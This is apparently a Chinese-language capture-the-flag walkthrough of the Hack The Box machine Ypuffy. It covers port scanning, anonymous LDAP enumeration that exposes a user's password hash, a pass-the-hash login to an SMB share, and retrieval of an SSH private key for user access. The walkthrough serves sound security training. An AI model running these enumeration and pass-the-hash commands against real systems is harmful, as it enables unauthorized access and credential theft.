Ypuffy(LDAP空连接)

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h35m01s, deviation: 2h53m13s, median: -4m59s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-02-05T06:46:27-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-05 19:46:27
|_ start_date: N/A

第一步,发现了不少于2个端口开放,简便起见,用nessus扫描一下。

smb

1
2
3
4
5
6
7
8
9
10
smbclient -L 10.10.10.107
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password:
Anonymous login successful
OS=[Windows 6.1] Server=[Samba 4.7.6]
tree connect failed: NT_STATUS_ACCESS_DENIED
---
smbmap -P 139 -H 10.10.10.107
smbmap -P 445 -H 10.10.10.107
连接被拒绝

web

连接一直重置。

1
2
3
4
--2019-02-05 20:44:45--  (try:18)  http://10.10.10.107/
Connecting to 10.10.10.107:80... connected.
HTTP request sent, awaiting response... No data received.
Retrying.

port389: ldap

参考资料:LDAP基础:6:使用ldapsearch进行数据查询

1
2
3
4
远程LDAP服务器支持具有NULL或空基础对象的搜索请求。 这允许在不事先了解目录结构的情况下检索信息。 与NULL BIND结合使用,匿名用户可以使用“LdapMiner”等工具查询LDAP服务器。

请注意,有正当理由允许使用NULL基础的查询。
例如,LDAP协议的版本3中需要提供对根DSA特定条目(DSE)的访问,其中包含有关支持的命名上下文,身份验证类型等的信息。 这也意味着合法用户可以在不事先了解其结构的情况下在目录中查找信息。

ldapsearch -h 10.10.10.107 -p 389 -x -b dc=hackthebox,dc=htb

1
2
3
4
-h 指定ip
-p 指定端口
-x 简单验证
-b 设置DN,可以通过nmap脚本扫描到DN内容

nmap -p 389 –script ldap-search ypuffy.htb

通过搜索关键字,发现用户名alice1978,LM密码0B186E661BBDBDCF6047784DE8B9FD8B

crackmapexec ypuffy.htb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B --share
使用该口令列出445端口共享的文件,alice文件夹具有读写权限

smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash //ypuffy.htb/alice
发现一个文件my_private_key.ppk,这是一个ssh私钥

ssh -i alice.key alice1978@ypuffy.htb
得到一个普通用户权限

总结

对漏洞的成功利用,基于对服务的了解。

  • ldap协议是什么?
    Lightweight Directory Access Protocol,轻量级目录访问协议。LDAP的目的是快速响应查找需求。一次写入,多次读取。弱数据库。